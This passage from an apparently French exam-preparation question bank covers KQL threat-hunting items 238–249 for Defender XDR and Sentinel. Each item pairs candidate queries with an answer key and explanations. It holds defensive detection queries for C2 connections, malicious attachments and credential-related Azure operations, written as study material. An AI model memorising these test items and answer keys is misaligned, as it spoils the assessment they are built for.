- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table
- UrlClickEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-urlclickevents-table

## Question n° 238 — Pièce jointe enregistrée puis exécutée

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** vérifier si des pièces jointes malveillantes reçues par e-mail ont été exécutées sur des postes. Quelle approche de corrélation est correcte ?

**A.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(7d)
| join kind=inner (DeviceProcessEvents) on FileName
```

**B.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(7d)
| where ThreatTypes has "Malware"
```

**C.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| join kind=inner (EmailEvents) on NetworkMessageId
```

**D.**

REQUÊTE KQL

```
let PJ = EmailAttachmentInfo
| where Timestamp > ago(7d)
| where ThreatTypes has "Malware"
| distinct SHA256, FileName, RecipientEmailAddress;
DeviceProcessEvents
| where Timestamp > ago(7d)
| join kind=inner PJ on SHA256
| project Timestamp, DeviceName, AccountUpn, RecipientEmailAddress, FileName, ProcessCommandLine
```

**Bonne réponse : D**

**Correction détaillée**

Le **SHA256** est la clé stable entre la messagerie (EmailAttachmentInfo) et les terminaux (DeviceProcessEvents, DeviceFileEvents). La liste des hachages malveillants est préparée dans une variable `let` puis jointe aux exécutions.

**Analyse des réponses incorrectes**

- **A.** Joindre sur le nom de fichier est peu fiable (renommage, noms génériques) et très coûteux sans filtre temporel à droite.
- **B.** Liste les pièces jointes malveillantes sans vérifier leur exécution.
- **C.** DeviceNetworkEvents n'a pas de NetworkMessageId.

**Explication technique**

Bonne pratique : placer la table la plus petite à gauche ou la préfiltrer (ici la variable PJ est petite). Pour les fichiers enregistrés sans exécution, utiliser DeviceFileEvents. Les documents Office ne s'« exécutent » pas : rechercher plutôt leurs processus enfants.

**Résultat attendu**

Les exécutions sur les postes de fichiers reçus en pièce jointe malveillante.

**Amélioration proposée**

Comparer RecipientEmailAddress et AccountUpn pour distinguer l'ouverture par le destinataire d'une propagation à d'autres utilisateurs.

**Point à retenir pour l'examen :** Messagerie ↔ terminal = SHA256 de la pièce jointe.

**Référence officielle**

- EmailAttachmentInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailattachmentinfo-table
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 239 — Processus à l'origine d'une connexion suspecte

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** pour chaque connexion vers une IP de commande et contrôle, afficher la ligne de commande complète du processus et celle de son parent. Quelle requête est la plus simple et correcte ?

**A.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
```

**B.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName,
InitiatingProcessCommandLine, InitiatingProcessParentFileName
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has "198.51.100.23"
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| join kind=inner (DeviceProcessEvents) on DeviceName
```

**Bonne réponse : B**

### Correction détaillée

Les tables d'événements MDE incluent déjà le contexte du **processus initiateur** (`InitiatingProcessFileName`, `InitiatingProcessCommandLine`, `InitiatingProcessParentFileName`, hachages…). Une jointure est souvent **inutile** : la corrélation est intégrée au schéma.

### Analyse des réponses incorrectes

- **A.** Ouvertures de session depuis cette IP, pas connexions sortantes.
- **C.** Ne trouve que les processus ayant l'IP dans leur ligne de commande, pas ceux qui s'y connectent.
- **D.** La jointure sur le seul DeviceName associe toutes les créations de processus de l'appareil à chaque connexion (explosion de lignes, fausses associations).

### Explication technique

Pour remonter plus haut que le parent, joindre DeviceProcessEvents sur `DeviceId` **et** l'identifiant unique du processus (`InitiatingProcessUniqueId` ↔ `ProcessUniqueId`, lorsque disponible) ou sur (DeviceId, ProcessId, ProcessCreationTime) — jamais sur le seul nom d'appareil.

### Résultat attendu

Chaque connexion vers l'IP avec le processus et son parent.

> **Point à retenir pour l'examen :** Les tables Device* embarquent le processus initiateur et son parent : éviter les jointures inutiles.

### Référence officielle

- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 240 — Correspondance d'adresses IP avec le renseignement sur les menaces

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** détecter les connexions Entra ID provenant d'adresses IP présentes dans les indicateurs de menace actifs de Sentinel. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
ThreatIntelIndicators
| where TimeGenerated > ago(30d)
| summarize count() by ObservableKey
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where IPAddress in ("ThreatIntelIndicators")
```

**C.**

REQUÊTE KQL

```
let IOC = ThreatIntelIndicators
| where TimeGenerated > ago(30d)
| where ObservableKey == "ipv4-addr:value"
| summarize arg_max(TimeGenerated, *) by Id
| where IsActive == true and ValidUntil > now()
| project IP = ObservableValue, Confidence;
SigninLogs
| where TimeGenerated > ago(1d)
| join kind=inner IOC on $left.IPAddress == $right.IP
| project TimeGenerated, UserPrincipalName, IPAddress, ResultType, AppDisplayName, Confidence
```

**D.**

REQUÊTE KQL

```
let IOC = ThreatIntelIndicators | where ObservableKey == "ipv4-addr:value" | project IP =
ObservableValue;
SigninLogs
| where TimeGenerated > ago(1d)
| join kind=inner IOC on $left.IPAddress == $right.IP
```

**Bonne réponse : C**

### Correction détaillée

La table **ThreatIntelIndicators** (modèle STIX) décrit chaque indicateur par **ObservableKey** (par exemple `ipv4-addr:value`) et **ObservableValue** (l'IP). Les indicateurs sont **historisés** : on garde la dernière version par **Id**, puis on filtre **IsActive** et **ValidUntil**.

### Analyse des réponses incorrectes

- **A.** Statistiques sur les indicateurs, sans corrélation avec les connexions.
- **B.** Compare l'IP à la chaîne littérale « ThreatIntelIndicators ».
- **D.** Ne vérifie ni l'état actif ni la validité des indicateurs, ni la version la plus récente : risque d'alertes sur des IOC expirés ou révoqués.

### Explication technique

Les modèles de règles « TI map IP entity to SigninLogs » appliquent cette logique. L'ancienne table ThreatIntelligenceIndicator utilisait NetworkIP/ExpirationDateTime/Active ; les requêtes doivent être migrées vers le nouveau schéma. La colonne Confidence aide à prioriser.

### Résultat attendu

Les connexions dont l'IP figure dans un indicateur actif et valide, avec le niveau de confiance.

### Hypothèses liées au schéma de données

Hypothèse : indicateurs IPv4 stockés avec ObservableKey « ipv4-addr:value » ; les indicateurs IPv6 ou de réseau (CIDR) nécessitent une logique dédiée (`ipv4_is_in_range`).

### Amélioration proposée

Inclure AADNonInteractiveUserSignInLogs et les journaux de pare-feu ; utiliser `lookup` pour enrichir sans perdre de lignes.

**Point à retenir pour l'examen :** TI moderne = ThreatIntelIndicators (ObservableKey/ObservableValue) ; dernière version par Id + IsActive + ValidUntil.

### Référence officielle

- Utiliser le renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/work-with-threat-indicators
- ThreatIntelIndicators — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/threatintelindicators
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## Question n° 241 — Alertes d'un incident

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** lister, pour chaque incident fermé comme vrai positif le mois dernier, le nom et le produit de ses alertes. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SecurityIncident
| join kind=inner (SecurityAlert) on Title
```

**B.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| join kind=inner (SecurityAlert) on $left.AlertIds == $right.SystemAlertId
```

**C.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(45d)
| summarize count() by ProductName
```

**D.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(45d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed" and Classification == "TruePositive"
| mv-expand AlertId = AlertIds to typeof(string)
| join kind=inner (
    SecurityAlert
    | where TimeGenerated > ago(45d)
    | summarize arg_max(TimeGenerated, AlertName, ProductName, AlertSeverity) by SystemAlertId
  ) on $left.AlertId == $right.SystemAlertId
| project IncidentNumber, Title, AlertName, ProductName, AlertSeverity
```

**Bonne réponse : D**

### Correction détaillée

**SecurityIncident.AlertIds** est un tableau des identifiants d'alertes ; **mv-expand** crée une ligne par alerte, jointe à **SecurityAlert.SystemAlertId**. Les deux tables étant historisées, on garde la dernière version avec `arg_max`.

### Analyse des réponses incorrectes

- **A.** Le titre d'un incident ne correspond pas au nom de ses alertes ; la clé est l'identifiant d'alerte.
- **B.** AlertIds est un tableau dynamique : il faut le développer (`mv-expand`) et typer la valeur avant de joindre.
- **C.** Statistiques d'alertes sans lien avec les incidents.

### Explication technique

Ce modèle alimente les rapports d'efficacité (taux de vrais positifs par règle ou produit) et l'optimisation des détections (règles générant surtout des faux positifs).

### Résultat attendu

Une ligne par (incident vrai positif, alerte) avec le nom, le produit et la gravité de l'alerte.

**Point à retenir pour l'examen :** Incident → alertes : mv-expand AlertIds puis jointure sur SystemAlertId (après arg_max).

### Référence officielle

- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident
- Alerte de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityalert
- mv-expand, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/mv-expand-operator?view=microsoft-sentinel

## Question n° 242 — Enrichissement par IdentityInfo

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** prioriser les connexions risquées en affichant le service et le poste de l'utilisateur, ainsi que ses rôles. Quelle requête utilise correctement IdentityInfo (UEBA) ?

**A.**

REQUÊTE KQL

```
let Identites = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, Department, JobTitle, AssignedRoles) by AccountUPN;
SigninLogs
| where TimeGenerated > ago(1d)
| where RiskLevelDuringSignIn in ("medium", "high")
| lookup kind=leftouter Identites on $left.UserPrincipalName == $right.AccountUPN
| project TimeGenerated, UserPrincipalName, Department, JobTitle, AssignedRoles, IPAddress,
RiskLevelDuringSignIn
```

**B.**

REQUÊTE KQL

```
IdentityInfo
| where TimeGenerated > ago(14d)
| where Department == "Finance"
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| extend Department = "Inconnu"
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| join kind=inner (IdentityInfo) on UserPrincipalName
```

**Bonne réponse : A**

### Correction détaillée

**IdentityInfo** (alimentée par l'UEBA) décrit les comptes : service, poste, rôles attribués, groupes, état. On prend la **dernière ligne par compte** (`arg_max`) puis on enrichit avec **lookup** (jointure gauche optimisée pour une petite table de dimension) sur **AccountUPN**.

### Analyse des réponses incorrectes

- **B.** Liste des identités sans lien avec les connexions risquées.
- **C.** Valeur fixe, aucun enrichissement réel.
- **D.** IdentityInfo nomme la colonne AccountUPN, et l'absence de déduplication multiplie les lignes (table historisée).

### Explication technique

**lookup** conserve toutes les lignes de gauche (leftouter par défaut) et est plus performant que `join` pour enrichir avec une table de référence. Les comptes avec des rôles à privilèges (AssignedRoles non vide) doivent être traités en priorité.

### Résultat attendu

Les connexions à risque moyen/élevé enrichies du service, du poste et des rôles.

### Hypothèses liées au schéma de données

IdentityInfo nécessite l'activation de l'UEBA ; la table est rafraîchie périodiquement (instantanés).

### Amélioration proposée

Ajouter `IsAccountEnabled` et `BlastRadius` (si présent) pour estimer l'impact potentiel.

**Point à retenir pour l'examen :** Enrichir avec une table de référence = lookup (après arg_max) ; IdentityInfo utilise AccountUPN.

### Référence officielle

- IdentityInfo — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/identityinfo
- Détection avancée des menaces avec l'analyse du comportement des utilisateurs et des entités (UEBA) dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/identify-threats-with-entity-behavior-analytics

## Question n° 243 — Preuves d'alertes Defender XDR

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** lister les appareils et utilisateurs impliqués dans les alertes de gravité élevée des 7 derniers jours, tous produits confondus. Quelle requête de chasse avancée convient ?

**A.**

REQUÊTE KQL

```
AlertInfo
| where Timestamp > ago(7d)
| summarize count() by Severity
```

**B.**

REQUÊTE KQL

```
AlertInfo
| where Timestamp > ago(7d)
| where Severity == "High"
| join kind=inner (
    AlertEvidence
    | where Timestamp > ago(7d)
    | where EntityType in ("Machine", "User")
  ) on AlertId
| summarize Alertes = dcount(AlertId), Titres = make_set(Title1, 10) by EntityType, DeviceName,
AccountUpn, ServiceSource
```

**C.**

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(7d)
| join kind=inner (AlertInfo) on DeviceId
```

**D.**

REQUÊTE KQL

```
AlertEvidence
| where Timestamp > ago(7d)
| where Severity == "High"
| summarize count() by FileName
```

**Bonne réponse : B**

### Correction détaillée

**AlertInfo** décrit les alertes (titre, gravité, catégorie, source) ; **AlertEvidence** décrit leurs **entités** (EntityType : Machine, User, File, Process, Ip, Url, MailMessage...) avec un rôle (Impacted, Related). La jointure se fait sur **AlertId**.

### Analyse des réponses incorrectes

- **A.** Nombre d'alertes par gravité, sans entités.
- **C.** AlertInfo n'a pas de DeviceId : les entités sont dans AlertEvidence.
- **D.** Se limite aux fichiers et ignore les appareils et utilisateurs demandés.

### Explication technique

Après la jointure, les colonnes de même nom de la table de droite sont suffixées (`Title1`, `Severity1`...). Ces tables couvrent toutes les sources (MDE, MDO, MDI, MDCA, Entra ID Protection, Purview...).

**Résultat attendu**

Une ligne par entité (appareil ou utilisateur) avec le nombre d'alertes élevées et leurs titres.

**Amélioration proposée**

Filtrer `EvidenceRole == "Impacted"` pour distinguer les victimes des entités simplement liées.

**Point à retenir pour l'examen :** Alertes XDR : AlertInfo (métadonnées) ⋈ AlertEvidence (entités) sur AlertId.

**Référence officielle**

- AlertInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-alertinfo-table
- AlertEvidence — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-alertevidence-table

## Question n° 244 — Processus lancés dans une session RDP

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** après une connexion RDP depuis une IP externe suspecte, lister les processus lancés pendant cette session sur le serveur. Quelle requête permet la corrélation la plus précise ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteIP == "203.0.113.88" and RemotePort == 3389
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(2d)
| join kind=inner (DeviceProcessEvents) on AccountName
```

**C.**

REQUÊTE KQL

```
let Sessions = DeviceLogonEvents
| where Timestamp > ago(2d)
| where ActionType == "LogonSuccess" and LogonType == "RemoteInteractive"
| where RemoteIP == "203.0.113.88"
| project DeviceId, LogonId, AccountName, DebutSession = Timestamp;
DeviceProcessEvents
| where Timestamp > ago(2d)
| join kind=inner Sessions on DeviceId, $left.InitiatingProcessLogonId == $right.LogonId
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, DebutSession
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(2d)
| where ProcessCommandLine has "203.0.113.88"
```

**Bonne réponse : C**

**Correction détaillée**

Le **LogonId** identifie une session d'ouverture sur un appareil ; les processus créés dans cette session portent le même identifiant dans **InitiatingProcessLogonId** (ou LogonId selon la colonne). La jointure sur **DeviceId + identifiant de session** isole précisément l'activité de la session RDP.

**Analyse des réponses incorrectes**

- **A.** Montre la connexion réseau mais pas les processus lancés ensuite.
- **B.** La jointure sur le seul nom de compte mélange toutes les sessions de ce compte sur tous les appareils.

- **D.** L'IP de connexion n'apparaît pas dans les lignes de commande des processus de la session.

**Explication technique**

Une clause `on` peut combiner plusieurs clés, y compris avec la syntaxe `$left.X == $right.Y`. Les colonnes `IsInitiatingProcessRemoteSession` et `InitiatingProcessRemoteSessionIP` de DeviceProcessEvents donnent aussi le contexte de session à distance.

**Résultat attendu**

Les processus exécutés pendant la ou les sessions RDP ouvertes depuis l'IP suspecte.

**Hypothèses liées au schéma de données**

Les identifiants de session ne sont uniques que sur un appareil donné et pendant une période : toujours joindre aussi sur DeviceId.

**Amélioration proposée**

Alternative plus simple : filtrer DeviceProcessEvents sur `InitiatingProcessRemoteSessionIP == "203.0.113.88"` lorsque cette colonne est renseignée.

**Point à retenir pour l'examen :** Activité d'une session = DeviceId + LogonId (InitiatingProcessLogonId).

**Référence officielle**

- DeviceLogonEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicelogonevents-table
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 245 — Connexion suspecte suivie d'un changement de méthode MFA

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** détecter un utilisateur qui, dans l'heure suivant une connexion depuis un pays inhabituel (risque élevé), enregistre une nouvelle méthode d'authentification. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where RiskLevelDuringSignIn == "high"
| join kind=inner (AuditLogs) on CorrelationId
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationRequirement == "multiFactorAuthentication"
```

**C.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName has "security info"
```

**D.**

REQUÊTE KQL

```
let ConnexionsRisquees = SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0" and RiskLevelDuringSignIn == "high"
| project ConnexionTime = TimeGenerated, UserPrincipalName = tolower(UserPrincipalName),
IPAddress, Location;
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName has "security info"
| extend UserPrincipalName = tolower(tostring(TargetResources[0].userPrincipalName))
| join kind=inner ConnexionsRisquees on UserPrincipalName
| where TimeGenerated between (ConnexionTime .. ConnexionTime + 1h)
| project ConnexionTime, AjoutTime = TimeGenerated, UserPrincipalName, OperationName, IPAddress,
Location
```

**Bonne réponse : D**

### Correction détaillée

Corrélation **séquentielle** : connexion à risque élevé (SigninLogs) puis enregistrement d'informations de sécurité (AuditLogs) par le **même utilisateur** dans l'**heure** qui suit. La clé utilisateur est normalisée (`tolower`) et extraite de `TargetResources` (dynamique).

### Analyse des réponses incorrectes

- **A.** Le CorrelationId d'une connexion ne correspond pas à celui d'une opération d'audit ultérieure ; et aucune fenêtre temporelle n'est appliquée.
- **B.** Liste les connexions avec MFA, sans détecter l'ajout d'une méthode.
- **C.** Liste toutes les modifications de méthodes, sans lien avec une connexion risquée.

### Explication technique

Ce scénario caractérise une persistance post-compromission (T1098.005 / ajout de MFA par l'attaquant). Les noms d'opérations d'audit liées aux méthodes d'authentification sont à vérifier dans vos données (`summarize count() by OperationName`).

### Résultat attendu

Les couples (connexion risquée, ajout de méthode) rapprochés dans le temps.

### Hypothèses liées au schéma de données

Dans AuditLogs, l'utilisateur concerné peut figurer dans TargetResources ou InitiatedBy selon l'opération.

### Amélioration proposée

Ajouter AADNonInteractiveUserSignInLogs et comparer l'IP de la connexion à celle de l'opération d'audit (`InitiatedBy.user.ipAddress`).

> **Point à retenir pour l'examen :** Corrélation séquentielle = jointure sur l'entité + `between (t1 .. t1 + délai)`.

### Référence officielle

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs
- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs

## Question n° 246 — Alertes et priorité UEBA

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** prioriser les alertes Sentinel dont l'utilisateur présente aussi une activité jugée très inhabituelle par l'UEBA le même jour. Quelle approche est correcte ?

**A.**

REQUÊTE KQL

```
let Ueba = BehaviorAnalytics
| where TimeGenerated > ago(1d)
| where InvestigationPriority >= 5
| summarize PrioriteMax = max(InvestigationPriority) by Upn = tolower(UserPrincipalName);
SecurityAlert
| where TimeGenerated > ago(1d)
| mv-expand Entite = todynamic(Entities)
| where tostring(Entite.Type) == "account"
| extend Upn = tolower(strcat(tostring(Entite.Name), "@", tostring(Entite.UPNSuffix)))
| join kind=inner Ueba on Upn
| project TimeGenerated, AlertName, AlertSeverity, Upn, PrioriteMax
| order by PrioriteMax desc
```

**B.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| join kind=inner (BehaviorAnalytics) on TimeGenerated
```

**C.**

REQUÊTE KQL

```
BehaviorAnalytics
| where TimeGenerated > ago(1d)
| summarize count() by ActivityType
```

**D.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| where AlertSeverity == "High"
```

**Bonne réponse : A**

### Correction détaillée

**SecurityAlert.Entities** est une chaîne JSON contenant les entités : on la convertit (`todynamic`), on la développe (`mv-expand`), on extrait les comptes (Name + UPNSuffix) puis on joint avec les priorités UEBA par utilisateur.

### Analyse des réponses incorrectes

- **B.** Joindre sur l'horodatage exact n'a pas de sens : les événements ne sont pas simultanés à la milliseconde.
- **C.** Statistiques UEBA sans lien avec les alertes.
- **D.** Filtre sur la gravité seule, sans le contexte UEBA demandé.

### Explication technique

Les entités Account peuvent contenir AadUserId, Sid, Name, NTDomain, UPNSuffix selon la source ; une jointure robuste privilégie AadUserId lorsque disponible. Sentinel propose aussi l'enrichissement UEBA directement dans les pages d'entités et les incidents.

### Résultat attendu

Les alertes du jour concernant des utilisateurs ayant une priorité UEBA ≥ 5, triées par priorité.

### Hypothèses liées au schéma de données

La structure de la colonne Entities varie selon les fournisseurs d'alertes.

### Amélioration proposée

Utiliser AadUserId (UserId côté UEBA) pour éviter les écarts de format d'UPN.

**Point à retenir pour l'examen :** SecurityAlert.Entities = JSON → todynamic + mv-expand pour extraire les comptes.

**Référence officielle**

- BehaviorAnalytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/behavioranalytics
- Alerte de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityalert

## Question n° 247 — Appareils vulnérables avec alertes actives

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** identifier les appareils touchés par une CVE critique exploitée (CVE-2024-21412) qui ont aussi déclenché une alerte au cours des 7 derniers jours. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where Timestamp > ago(7d)
| where CveId == "CVE-2024-21412"
```

**B.**

REQUÊTE KQL

```
DeviceTvmSoftwareVulnerabilities
| where CveId == "CVE-2024-21412"
| distinct DeviceId, DeviceName, SoftwareName, SoftwareVersion
| join kind=inner (
    AlertEvidence
    | where Timestamp > ago(7d)
    | where EntityType == "Machine"
    | summarize Alertes = make_set(Title, 10) by DeviceId
  ) on DeviceId
```

**C.**

REQUÊTE KQL

```
AlertInfo
| where Timestamp > ago(7d)
| where Title has "CVE-2024-21412"
```

**D.**

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(7d)
| where OSPlatform == "Windows11"
```

**Bonne réponse : B**

### Correction détaillée

**DeviceTvmSoftwareVulnerabilities** (Defender Vulnerability Management) liste les vulnérabilités par appareil et logiciel (**CveId**, VulnerabilitySeverityLevel). La jointure avec les entités Machine d'**AlertEvidence** sur **DeviceId** croise exposition et activité.

### Analyse des réponses incorrectes

- **A.** DeviceTvmSoftwareVulnerabilities est un instantané sans colonne Timestamp, et la requête ne vérifie pas les alertes.
- **C.** Les titres d'alerte ne contiennent pas forcément le numéro de CVE ; aucune vérification de vulnérabilité.
- **D.** Liste les appareils Windows 11, sans lien avec la CVE ni les alertes.

### Explication technique

Cette table est un **instantané** de l'état courant : elle n'a pas de colonne Timestamp. D'autres tables TVM : DeviceTvmSoftwareInventory, DeviceTvmSoftwareVulnerabilitiesKB (détails CVE, score CVSS, exploit public). Prioriser la correction des appareils vulnérables et actifs dans des alertes.

**Résultat attendu**

Les appareils vulnérables à la CVE avec la liste des alertes récentes.

**Amélioration proposée**

Joindre DeviceTvmSoftwareVulnerabilitiesKB pour filtrer sur `IsExploitAvailable == true`.

**Point à retenir pour l'examen :** Exposition × activité = DeviceTvmSoftwareVulnerabilities ⋈ AlertEvidence sur DeviceId.

**Référence officielle**

- DeviceTvmSoftwareVulnerabilities — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicetvmsoftwarevulnerabilities-table
- AlertEvidence — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-alertevidence-table

## Question n° 248 — Opérations Azure depuis une IP de connexion suspecte

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

**Énoncé : Besoin :** après une connexion risquée d'un administrateur au portail Azure, lister les opérations du plan de contrôle effectuées depuis la même adresse IP dans les 2 heures. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| join kind=inner (SigninLogs) on $left.Caller == $right.AppDisplayName
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| summarize count() by OperationNameValue
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

**D.**

REQUÊTE KQL

```
let Suspectes = SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0" and RiskLevelDuringSignIn in ("medium", "high")
| project ConnexionTime = TimeGenerated, IPAddress, Upn = tolower(UserPrincipalName);
AzureActivity
| where TimeGenerated > ago(1d)
| where ActivityStatusValue == "Success"
| join kind=inner Suspectes on $left.CallerIpAddress == $right.IPAddress
| where TimeGenerated between (ConnexionTime .. ConnexionTime + 2h)
| project TimeGenerated, Caller, CallerIpAddress, OperationNameValue, ResourceGroup, Upn
```

**Bonne réponse : D**

**Correction détaillée**

**AzureActivity.CallerIpAddress** et **SigninLogs.IPAddress** relient l'authentification et les actions. La contrainte temporelle limite la corrélation à la période d'exploitation de la session.

**Analyse des réponses incorrectes**

- **A.** Caller (identité ou UPN) n'a aucun rapport avec le nom de l'application.
- **B.** Statistiques globales, sans corrélation avec les connexions risquées.
- **C.** Connexions au portail, sans les opérations réalisées.

**Explication technique**

Comparer aussi `Caller` (UPN ou objectId) à l'utilisateur de la connexion. Les opérations sensibles : roleAssignments/write, virtualMachines/runCommand/action, listKeys sur les comptes de stockage, diagnosticSettings/delete. Defender for Cloud (Defender for Resource Manager) détecte aussi ces opérations suspectes.

**Résultat attendu**

Les opérations Azure réussies depuis l'IP d'une connexion risquée dans les 2 heures.

**Amélioration proposée**

Ajouter un filtre sur les opérations à fort impact et alerter en priorité sur `listKeys` et `runCommand`.

**Point à retenir pour l'examen :** Identité → actions Azure : SigninLogs.IPAddress ↔ AzureActivity.CallerIpAddress + fenêtre temporelle.

**Référence officielle**

- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## Question n° 249 — Refus du pare-feu et processus du poste

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Corrélation entre plusieurs tables

